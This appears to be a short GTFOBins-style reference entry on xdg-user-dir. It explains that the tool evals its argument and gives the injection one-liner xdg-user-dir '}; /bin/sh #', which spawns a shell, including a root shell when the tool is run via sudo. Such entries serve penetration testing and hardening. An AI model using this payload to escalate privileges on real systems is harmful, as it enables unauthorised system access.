xdg-user-dir

CommentThe current implementation of xdg-user-dir is basically eval echo \${XDG_${1}_DIR:-$HOME}, thus is can be easily used to achieve command execution.

Shell

This executable can spawn an interactive system shell.
  1. Version requirements< 0.20
    This function can be performed by any unprivileged user.
    xdg-user-dir '}; /bin/sh #'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    xdg-user-dir '}; /bin/sh #'